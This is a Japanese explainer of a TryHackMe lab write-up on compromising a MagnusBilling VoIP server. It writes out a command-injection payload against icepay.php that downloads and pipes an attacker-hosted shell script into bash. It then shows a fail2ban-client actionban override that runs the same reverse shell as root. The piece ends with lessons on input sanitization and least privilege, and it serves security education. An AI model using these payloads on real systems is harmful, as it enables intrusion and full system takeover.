【ITニュース解説】Billing — TryHackMe

このニュース記事は、システムセキュリティの弱点を見つけ、それを利用してコンピューターシステムを乗っ取る「ペネトレーションテスト」（侵入テスト）という実践的な演習について解説している。具体的には、TryHackMeというオンライン学習プラットフォームの「Billing」という演習で使われる仮想マシンを対象に、どのようにしてシステムに侵入し、最終的に最高権限（root権限）を奪取するのかがステップバイステップで説明されている。

まず、演習のターゲットとなるのは、「MagnusBilling」というオープンソースのVoIP（Voice over IP、インターネット電話など）課金プラットフォームだ。これは「Asterisk」というPBX（構内交換機、電話回線の管理システム）サービスの上で動作し、その利用料金を管理している。通常のウェブサイトによくあるCMS（コンテンツ管理システム）とは異なり、電話関連の管理システムや決済システムといった、より専門的な領域の脆弱性を見つけることを目的としている点が特徴だ。

侵入の最初のステップは「偵察」と呼ばれる情報収集だ。攻撃者はまず、ターゲットのIPアドレスに対してポートスキャンという技術を使う。これは、ターゲットのコンピューター上でどのようなサービスが稼働していて、どの「ポート」（通信の出入り口）が開いているかを調べる作業だ。このスキャンで、SSH（リモート接続）、HTTP（ウェブサービス）、MySQL（データベース）、Asterisk（VoIP管理）といったサービスが稼働していることがわかる。特に、ウェブサーバーのHTTPポート（80番）では「MagnusBilling」が動作しており、そのバックエンドには「MariaDB」というデータベースが使われていることが特定される。さらに、ウェブディレクトリを探索すると、icepay/、mercadopago/、stripe/といった複数の決済ゲートウェイ関連のディレクトリが見つかる。これは、決済処理を外部サービスと連携するためのモジュールが導入されていることを示唆しており、サードパーティ製のモジュールは本家アプリケーションほど厳密にレビューされていないことが多いため、脆弱性が潜んでいる可能性が高いと推測される。

次に、「足がかり」と呼ばれる最初の侵入経路を見つけるフェーズだ。偵察で得られた情報から、決済ゲートウェイのicepay.phpというファイルに注目が集まる。このファイルが受け取るdemocというパラメータに、ユーザーが入力した内容が適切にチェックされずに、そのままシステム上でコマンドとして実行されてしまう「コマンドインジェクション」という脆弱性があることが判明する。これは、例えばウェブサイトの入力フォームに「あなたの名前」と入力すべき場所に、lsやrm -rf /のようなシステムコマンドを送り込むことで、ウェブサーバー上でそのコマンドを実行させてしまうような問題だ。攻撃者は、この脆弱性を利用して、democ=/dev/null;curl%20http://[攻撃者のIPアドレス]/shell.sh%20|%20bash;idという特殊な文字列を送信する。これは、まずdemocに無害そうな/dev/nullを渡し、その後にセミコロン（;）で区切って、攻撃者のサーバーからshell.shというスクリプトをダウンロードし、その内容をbashシェルで実行するという一連のコマンドだ。このshell.shには、ターゲットシステムと攻撃者のコンピューターとの間に秘密の通信経路（「リバースシェル」と呼ばれる）を確立する命令が書かれている。これにより、攻撃者はウェブサービスを実行しているasteriskというユーザー権限で、ターゲットシステムのシェル（コマンド入力画面）にアクセスすることに成功する。

システムへの最初のアクセス（asteriskユーザーとして）を確立したら、次の目標は「権限昇格」だ。これは、一般ユーザーの権限から、システム全体の管理者であるroot（ルート）ユーザーの権限を奪うことだ。まず、sudo -lというコマンドを実行して、現在のasteriskユーザーがどのようなコマンドをroot権限で実行できるかを調べる。すると、NOPASSWD: /usr/bin/fail2ban-clientという設定が見つかる。これは、asteriskユーザーがパスワードなしで/usr/bin/fail2ban-clientというプログラムをroot権限で実行できることを意味する。

fail2banとは、不正なログイン試行などを監視し、検出したIPアドレスを自動的にブロックするセキュリティツールだ。このツールは、監視するログファイルとパターンを定義する「Jail（ジェイル）」と、ブロックが発動したときに実行する処理を定義する「Action（アクション）」という二つの概念で動作する。特に「actionban」という設定が、ブロック時に実行されるシェルコマンドそのものを指定する部分だ。

攻撃者は当初、fail2banの設定ファイル自体を書き換えようとするが、それらはrootユーザーにしか書き込み権限がないため失敗する。そこで、fail2ban-clientコマンドのマニュアルページを詳しく調べると、設定ファイルを直接編集しなくても、fail2ban-clientのsetサブコマンドを使って、Jailのactionban設定をリアルタイムで変更できることがわかる。

この機能を利用し、攻撃者はsudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'curl http://[攻撃者のIPアドレス]:4443/shell.sh | bash'"というコマンドを実行する。これは、SSHサービスを監視するsshdというJailのactionbanを、再び攻撃者のリバースシェルスクリプトを実行するコマンドに書き換えるものだ。この時点ではまだ何も実行されない。

次に、この新しいactionbanを意図的に発動させるため、sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1というコマンドを実行する。これはfail2banに対して、127.0.0.1（自分自身を表すIPアドレス）をブロックするよう指示する。このブロックがトリガーされると、fail2banはroot権限で動作しているため、先ほど設定したactionbanコマンド（リバースシェルの実行）がroot権限で実行される。これにより、攻撃者は最終的にターゲットシステムのrootユーザーとしてのシェルアクセスを獲得し、システムの完全な制御権を奪取することに成功する。

この一連の攻撃から得られる教訓は非常に重要だ。まず、外部からの入力パラメータは決して鵜呑みにせず、必ず適切に検証・無害化（サニタイズ）する必要がある。コマンドインジェクションはその典型的な例だ。次に、サービスアカウント（特定のサービスを実行するためのユーザーアカウント）には、必要最小限の権限のみを与えるべきである。特に、fail2ban-clientのようなセキュリティツールであっても、setサブコマンドのように設定を書き換えられる機能を持つクライアントバイナリにsudo権限を与えることは非常に危険だ。たとえ「監視」や「ステータス確認」のためだとしても、そのツールが持つ全てのサブコマンドを監査し、予期せぬ機能や権限昇格の可能性がないかを確認することが不可欠である。これはsystemctlやdockerといった他の特権を持つデーモンと通信するクライアントツールにも当てはまる。適切な権限管理と入力検証が、システムを不正アクセスから守るための基本となる。